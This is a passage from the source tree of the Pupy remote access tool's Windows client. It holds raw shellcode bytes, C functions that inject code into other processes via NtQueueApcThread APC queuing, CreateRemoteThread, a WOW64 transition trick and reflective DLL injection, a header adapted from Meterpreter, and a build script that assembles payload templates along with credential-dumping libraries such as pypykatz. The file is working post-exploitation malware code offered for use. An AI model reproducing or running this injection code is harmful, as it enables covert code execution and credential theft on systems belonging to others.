    "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
    "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
    "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
    "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
    "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
    "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
    "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
    "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
    "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
    "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00";

/*
 * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
 * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
 */
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
    DWORD dwResult             = ERROR_ACCESS_DENIED;
    HMODULE hNtdll             = NULL;
    NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
    HANDLE hThreadSnap         = NULL;
    LPVOID lpApcStub           = NULL;
    LPVOID lpRemoteApcStub     = NULL;
    LPVOID lpRemoteApcContext  = NULL;
    THREADENTRY32 t            = {0};
    APCCONTEXT ctx             = {0};
    DWORD dwApcStubLength          = 0;

    do {
        ctx.s.lpStartAddress = lpStartAddress;
        ctx.p.lpParameter    = lpParameter;
        ctx.bExecuted    = FALSE;

        t.dwSize = sizeof( THREADENTRY32 );

        // Get the architecture specific apc migration stub...
        if( dwDestinationArch == PROCESS_ARCH_X86 )
        {
#ifdef _WIN64
            // injecting x64->x86(wow64)

            // Our injected APC ends up running in native x64 mode within the wow64 process and as such
            // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.

            // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.

            SetLastError( ERROR_ACCESS_DENIED );
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
#else
            // injecting x86->x86
            dprint("[INJECT]: Use x86 stub\n");
            lpApcStub       = &apc_stub_x86;
            dwApcStubLength = sizeof( apc_stub_x86 );
#endif
        }
        else if( dwDestinationArch == PROCESS_ARCH_X64 )
        {
            // injecting x64->x64 (and the same stub for x86(wow64)->x64)
            dprint("[INJECT]: Use x64 stub\n");
            lpApcStub       = &apc_stub_x64;
            dwApcStubLength = sizeof( apc_stub_x64 );

#ifndef _WIN64
            {
            // injecting x86(wow64)->x64

            // For now we leverage a bug in wow64 to get x86->x64 injection working, this
            // will simply fail gracefully on systems where the technique does not work.

            MEMORY_BASIC_INFORMATION mbi = {0};
            LPVOID lpRemoteAddress       = NULL;
            BYTE * lpNopSled         = NULL;
            BYTE bStub[]         = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";

            /*
                // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
                // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
                // however the start address of the new APC in the native x64 process is not what we specify but instead it is
                // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
                // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
                // injection will continue as normal.

                // The registers on the native x64 process after the queued APC is attempted to run:
                rip = 000000006B0095F0                 // address of wow64!Wow64ApcRoutine as found in the wow64 process
                rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
                rdx = dwApcStatusBlock                 // unused
                r8  = dwApcReserved                // unused

                // On the WOW64 process side:
                wow64:000000006B0095F0 ; Exported entry   3. Wow64ApcRoutine
                wow64:000000006B0095F0
                wow64:000000006B0095F0	public Wow64ApcRoutine

                // On the native x64 process side:
                ntdll:0000000077EF30A0 public KiUserApcDispatcher
                ntdll:0000000077EF30A0	mov     rcx, [rsp]    // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
                ntdll:0000000077EF30A4	mov     rdx, [rsp+8]  // 32bit dwApcStatusBlock
                ntdll:0000000077EF30A9	mov     r8, [rsp+10h] // 32bit dwApcReserved
                ntdll:0000000077EF30AE	mov     r9, rsp
                ntdll:0000000077EF30B1	call    qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!

                // Our bStub:
                00000000  4889C8        mov rax, rcx
                00000003  48C1E120      shl rcx, 32
                00000007  48C1E920      shr rcx, 32
                0000000B  48C1E820      shr rax, 32
                0000000F  FFE0          jmp rax
            */

            // alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
            // TO-DO: parse the PE64 executable wow64.dll to get this at runtime.

            dprint("[INJECT]: Use WOW64 injection\n");

            lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
            if( !lpRemoteAddress )
                BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );

            if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
                BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );

            lpNopSled = (BYTE *)malloc( mbi.RegionSize );
            if( !lpNopSled )
                BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );

            memset( lpNopSled, 0x90, mbi.RegionSize );

            if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
                BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )

            if( !WriteProcessMemory(
                    hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)),
                    bStub, sizeof(bStub), NULL ) )
                BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )

                free( lpNopSled );
            }
#else
            {
            SetLastError( ERROR_BAD_ENVIRONMENT );
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
            }
#endif
        }

        hNtdll = LoadLibraryA( "ntdll" );
        if( !hNtdll )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )

        pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
        if( !pNtQueueApcThread )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )

        hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
        if( !hThreadSnap )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )

        if( !Thread32First( hThreadSnap, &t ) )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )

        // Allocate memory for the apc stub and context
        lpRemoteApcStub = VirtualAllocEx(
            hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT),
            MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if( !lpRemoteApcStub )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )

        // Simply determine the apc context address
        lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );

        dprint(
            "[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X\n",
#ifdef _WIN64
            "x64",
#else
            "x86",
#endif
            lpRemoteApcStub, lpRemoteApcContext
        );

        // Write the apc stub to memory...
        if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )

        // Write the apc context to memory...
        if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
            BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )

        do {
            HANDLE hThread = NULL;

            // Only proceed if we are targeting a thread in the target process
            if( t.th32OwnerProcessID != dwProcessID )
                continue;

            // Open a handle to this thread so we can do the apc injection
            hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
            if( !hThread )
                continue;

            dprint("[INJECT] inject_via_apcthread: Trying to inject into thread %d\n", t.th32ThreadID );

            // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
            // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
            // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
            if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
            {
                dprint("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.\n", t.th32ThreadID );
                dwResult = ERROR_SUCCESS;
            }
            else
            {
                dprint("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.\n", t.th32ThreadID );
            }

            CloseHandle( hThread );

        } while( Thread32Next( hThreadSnap, &t ) && dwResult != ERROR_SUCCESS);

    } while( 0 );

    if( hThreadSnap )
        CloseHandle( hThreadSnap );

    if( hNtdll )
        FreeLibrary( hNtdll );

    SetLastError( dwResult );
    return dwResult;
}

/*
 * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
 * enviroment into a native x64 enviroment and accessing the native win64 API's.
 * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
 *       threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
 *       Windows 2003 from this method of injection, however the APC injection method will work on 2003.
 */
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
{
    DWORD dwResult       = ERROR_SUCCESS;
    EXECUTEX64 pExecuteX64   = NULL;
    X64FUNCTION pX64function = NULL;
    WOW64CONTEXT * ctx       = NULL;
    OSVERSIONINFO os     = {0};

    do
    {
        os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

        if( !GetVersionEx( &os ) )
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )

        // filter out Windows 2003
        if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
        {
            SetLastError( ERROR_ACCESS_DENIED );
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
        }

        // alloc a RWX buffer in this process for the EXECUTEX64 function
        pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
        if( !pExecuteX64 )
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )

        // alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
        pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
        if( !pX64function )
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )

        // copy over the wow64->x64 stub
        memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );

        // copy over the native x64 function
        memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );

        // set the context
        ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );

        ctx->h.hProcess       = hProcess;
        ctx->s.lpStartAddress = lpStartAddress;
        ctx->p.lpParameter    = lpParameter;
        ctx->t.hThread    = NULL;

        //printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );

        // Transition this wow64 process into native x64 and call pX64function( ctx )
        // The native function will use the native Win64 API's to create a remote thread in the target process.
        if( !pExecuteX64( pX64function, (DWORD)ctx ) )
        {
            SetLastError( ERROR_ACCESS_DENIED );
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
        }

        if( !ctx->t.hThread )
        {
            SetLastError( ERROR_INVALID_HANDLE );
            BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
        }

        // Success! grab the new thread handle from of the context
        *pThread = ctx->t.hThread;

        //printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );

    } while( 0 );

    if( pExecuteX64 )
        VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );

    if( pX64function )
        VirtualFree( pX64function, 0, MEM_DECOMMIT );

    return dwResult;
}

/*
 * Attempte to gain code execution in the remote process by creating a remote thread in the target process.
 */
DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
{
    DWORD dwResult = ERROR_INVALID_FUNCTION;
    DWORD dwResumeResult = NULL;
    DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
    HANDLE hThread = NULL;

    do
    {
    // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
    // fails, giving us a chance to try an alternative method or fail migration gracefully.
    hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
    if (!hThread)
    {
#ifndef _WIN64
        if (dwDestinationArch == PROCESS_ARCH_X64)
        {
            dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;

            if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
            {
                BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
            }
        }
        else
        {
            BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
        }
#else
        {
            BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
        }
#endif
    }
    else
    {
        dprint("[INJECT] inject_via_remotethread: succeeded, hThread = %p\n", hThread);
    }

    dprint("[INJECT] inject_via_remotethread: Resuming the injected thread...\n");

    // Resume the injected thread...
    dwResumeResult = ResumeThread(hThread);
    if (dwResumeResult == (DWORD)-1)
    {
        BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
    }

    dprint("[INJECT] Thread %p resumed with %d\n", hThread, dwResumeResult);

    } while (0);

    if (hThread)
    {
        CloseHandle(hThread);
        dwResult = ERROR_SUCCESS;
    }

    SetLastError(dwResult);

    return dwResult;
}

/*
 * Inject a DLL image into a process via Reflective DLL Injection.
 *
 * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
 *       an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
 *       in stdapi will handle this automatically.
 *
 * Note: This function largely depreciates LoadRemoteLibraryR().
 */
DWORD inject_dll( DWORD dwPid, const LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine , int remoteProcessArch)
{
    DWORD dwResult         = ERROR_ACCESS_DENIED;
    DWORD dwNativeArch         = PROCESS_ARCH_UNKNOWN;
    LPVOID lpRemoteCommandLine     = NULL;
    HANDLE hProcess        = NULL;
    LPVOID lpRemoteLibraryBuffer   = NULL;
    LPVOID lpReflectiveLoader      = NULL;
    LPVOID lpExecutableRegion      = NULL;
    DWORD dwReflectiveLoaderOffset = 0;
    DWORD dwOldProtection = 0;

    dprint(
        "[INJECT] inject_dll(%d, %p, %d, %s, %d)\n",
        dwPid, lpDllBuffer, dwDllLenght, cpCommandLine, remoteProcessArch
    );

    do
    {
    if( !lpDllBuffer || !dwDllLenght )
        BREAK_ON_ERROR( "[INJECT] inject_dll.  No Dll buffer supplied.");

    // check if the library has a ReflectiveLoader...
    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
    if( !dwReflectiveLoaderOffset )
        BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.");

    dprint("[INJECT] ReflectiveLoader offset = %p\n", dwReflectiveLoaderOffset);

    hProcess = OpenProcess(
            PROCESS_VM_OPERATION | \
            PROCESS_VM_WRITE | \
            PROCESS_CREATE_THREAD | \
            PROCESS_QUERY_INFORMATION,
            FALSE, dwPid );
    if( !hProcess )
        BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );

    if( cpCommandLine )
    {
        // alloc some space and write the commandline which we will pass to the injected dll...
        lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
        if( !lpRemoteCommandLine )
            BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );

        if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )
            BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
    }

    // alloc memory (RWX) in the host process for the image...
    lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
    if( !lpRemoteLibraryBuffer )
        BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx failed" );

    // write the image into the host process...
    if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
        BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );

    // add the offset to ReflectiveLoader() to the remote library address...
    lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

    lpExecutableRegion = (LPVOID) (((UINT_PTR) lpReflectiveLoader) - (((UINT_PTR) lpReflectiveLoader) % 8192));

    if ( !VirtualProtectEx( hProcess, lpExecutableRegion, 16384, PAGE_EXECUTE_READ, &dwOldProtection) )
        BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualProtectEx failed" );

    // First we try to inject by directly creating a remote thread in the target process
    if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
    {
        dprint(
            "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...\n");

        // If that fails we can try to migrate via a queued APC in the target process
        if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
        BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
    }

    dwResult = ERROR_SUCCESS;

    } while( 0 );

    if( hProcess )
    CloseHandle( hProcess );

    dprint("[INJECT] Result: %d\n", dwResult);

    return dwResult;
}


================================================
FILE: client/sources-windows-py3/base_inject.h
================================================
/*
 This code has been taken from meterpreter and modified to be integrated into pupy.
 original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/

Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:

=========================================================================================

Meterpreter
-----------

Copyright (c) 2006-2013, Rapid7 Inc

Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this list of
  conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice, this list of
  conditions and the following disclaimer in the documentation and/or other materials
  provided with the distribution.

* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
  promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

*/
//===============================================================================================//
#ifndef _METERPRETER_BASE_INJECT_H
#define _METERPRETER_BASE_INJECT_H
//===============================================================================================//

// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
#define PROCESS_ARCH_UNKNOWN				0
#define PROCESS_ARCH_X86					1
#define PROCESS_ARCH_X64					2
#define PROCESS_ARCH_IA64					3

// The three injection techniques currently supported.
#define MIGRATE_TECHNIQUE_REMOTETHREAD		0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64	1
#define MIGRATE_TECHNIQUE_APCQUEUE			2

//===============================================================================================//

// Definition of ntdll!NtQueueApcThread
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );

// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );

//===============================================================================================//

// The context used for injection via migrate_via_apcthread
typedef struct _APCCONTEXT
{
     union
    {
        LPVOID lpStartAddress;
        BYTE bPadding1[8];
    } s;

    union
    {
         LPVOID lpParameter;
        BYTE bPadding2[8];
    } p;

    BYTE bExecuted;

} APCCONTEXT, * LPAPCCONTEXT;

// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT
{
    union
    {
         HANDLE hProcess;
        BYTE bPadding2[8];
    } h;

     union
    {
        LPVOID lpStartAddress;
        BYTE bPadding1[8];
    } s;

    union
    {
         LPVOID lpParameter;
        BYTE bPadding2[8];
    } p;
    union
    {
        HANDLE hThread;
        BYTE bPadding2[8];
    } t;
} WOW64CONTEXT, * LPWOW64CONTEXT;

//===============================================================================================//

DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);

DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine, int is64bits);

//===============================================================================================//
#endif
//===============================================================================================//


================================================
FILE: client/sources-windows-py3/build-docker.sh
================================================
#!/bin/sh

PACKAGES_BUILD="netifaces msgpack-python u-msgpack-python construct bcrypt watchdog dukpy impacket zeroconf ushlex"
PACKAGES_BUILD="$PACKAGES_BUILD pycryptodomex pycryptodome cryptography pyOpenSSL paramiko"

PACKAGES="rsa pefile win_inet_pton netaddr pywin32 win_inet_pton dnslib"
PACKAGES="$PACKAGES pyaudio https://github.com/secdev/scapy/archive/master.zip colorama pyaudio"
PACKAGES="$PACKAGES https://github.com/alxchk/pypykatz/archive/master.zip"
PACKAGES="$PACKAGES https://github.com/warner/python-ed25519/archive/master.zip"
PACKAGES="$PACKAGES https://github.com/alxchk/tinyec/archive/master.zip"
PACKAGES="$PACKAGES https://github.com/alxchk/urllib-auth/archive/master.zip"
PACKAGES="$PACKAGES https://github.com/alxchk/winkerberos/archive/master.zip"
PACKAGES="$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip"
PACKAGES="$PACKAGES idna http-parser pyodbc wmi"
PACKAGES="$PACKAGES psutil==5.9.2"

SUFFIX="-`$PYTHON64 -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`"
echo "Building with python version suffix: $SUFFIX"
SELF=$(readlink -f "$0")
SELFPWD=$(dirname "$SELF")
SRC=${SELFPWD:-$(pwd)}
PUPY=$(readlink -f ../../pupy)

cd $SRC

EXTERNAL=$(readlink -f ../../pupy/external)
TEMPLATES=$(readlink -f ../../pupy/payload_templates)
WINPTY=$EXTERNAL/winpty
PYKCP=$EXTERNAL/pykcp
PYOPUS=$EXTERNAL/pyopus/src

$PYTHON32 -m pip install -q --upgrade pylzma
$PYTHON64 -m pip install -q --upgrade pylzma


SKIP_TO_BUILD=0
if [ ! "$SKIP_TO_BUILD" -eq "1" ]; then

echo "[+] Install python packages"
for PYTHON in $PYTHON32 $PYTHON64; do
    $PYTHON -m pip install -q --upgrade pip
    $PYTHON -m pip install -q --upgrade setuptools cython

    # Still problems here
    $PYTHON -m pip install -q --upgrade pynacl

    $PYTHON -m pip install --upgrade pycryptodome
    $PYTHON -m pip install --upgrade $PACKAGES_BUILD

    NO_JAVA=1 \
        $PYTHON -m pip install --upgrade --force-reinstall \
        https://github.com/alxchk/pyjnius/archive/master.zip

    $PYTHON -m pip install --upgrade --force-reinstall \
        https://github.com/alxchk/scandir/archive/master.zip

    $PYTHON -m pip install --upgrade $PACKAGES

    $PYTHON -c "from Crypto.Cipher import AES; AES.new"
    if [ ! $? -eq 0 ]; then
        echo "pycryptodome build failed"
        exit 1
    fi

    rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info}
    $PYTHON -m pip install --upgrade --force $PYKCP
    $PYTHON -c 'import kcp' || exit 1
done

for PYTHON in $PYTHON32 $PYTHON64; do
    $PYTHON -m pip install -q --force pycparser
done

#cd $PYOPUS
#echo "[+] Compile opus /32"
#git clean -fdx
#make -f Makefile.msvc CL=$CL32
#mv opus.pyd ${PYTHONPATH32}/Lib/site-packages/

#echo "[+] Compile opus /64"
#git clean -fdx
#make -f Makefile.msvc CL=$CL64
#mv -f opus.pyd ${PYTHONPATH64}/Lib/site-packages/

echo "[+] Compile winpty /32"
rm -f $WINPTY/build/winpty.dll
make -C ${WINPTY} clean
make -C ${WINPTY} MINGW_CXX="${MINGW32}-win32 -mabi=ms -Os" V=1 build/winpty.dll
if [ ! -f $WINPTY/build/winpty.dll ]; then
    echo "WinPTY/x86 build failed"
    exit 1
fi

mv $WINPTY/build/winpty.dll ${PYTHONPATH32}/DLLs/

echo "[+] Compile winpty /64"
rm -f $WINPTY/build/winpty.dll
make -C ${WINPTY} clean
make -C ${WINPTY} MINGW_CXX="${MINGW64}-win32 -mabi=ms -Os" V=1 build/winpty.dll
if [ ! -f $WINPTY/build/winpty.dll ]; then
    echo "WinPTY/x64 build failed"
    exit 1
fi

mv ${WINPTY}/build/winpty.dll ${PYTHONPATH64}/DLLs/

echo "[+] Build templates /32"
cd ${PYTHONPATH32}
rm -f ${TEMPLATES}/windows-x86${SUFFIX}.zip
for dir in Lib DLLs; do
    cd $dir
    zip -q -y \
        -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" -x "*.chm" \
        -x "*test/*" -x "*tests/*" -x "*examples/*" -x "pythonwin/*" \
        -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" \
        -x "*.egg-info/*" -x "*.dist-info/*" -x "*.exe" \
        -r9 ${TEMPLATES}/windows-x86${SUFFIX}.zip .
    cd -
done
cd ${PYTHONPATH64}
rm -f ${TEMPLATES}/windows-amd64${SUFFIX}.zip

echo "[+] Build templates /64"
for dir in Lib DLLs; do
    cd $dir
    zip -q -y \
        -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" -x "*.chm" \
        -x "*test/*" -x "*tests/*" -x "*examples/*" -x "pythonwin/*" \
        -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" \
        -x "*.egg-info/*" -x "*.dist-info/*" -x "*.exe" \
        -r9 ${TEMPLATES}/windows-amd64${SUFFIX}.zip .
    cd -
done

fi

echo "[+] Build pupy"

TARGETS="pupyx64d${SUFFIX}.dll pupyx64d${SUFFIX}.exe pupyx64${SUFFIX}.dll pupyx64${SUFFIX}.exe"
TARGETS="$TARGETS pupyx86d${SUFFIX}.dll pupyx86d${SUFFIX}.exe pupyx86${SUFFIX}.dll pupyx86${SUFFIX}.exe"
TARGETS="$TARGETS "

cd ${SRC}

for target in $TARGETS; do rm -f $TEMPLATES/$target; done

set -e

#make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 FEATURE_POSTMORTEM=1 ARCH=32

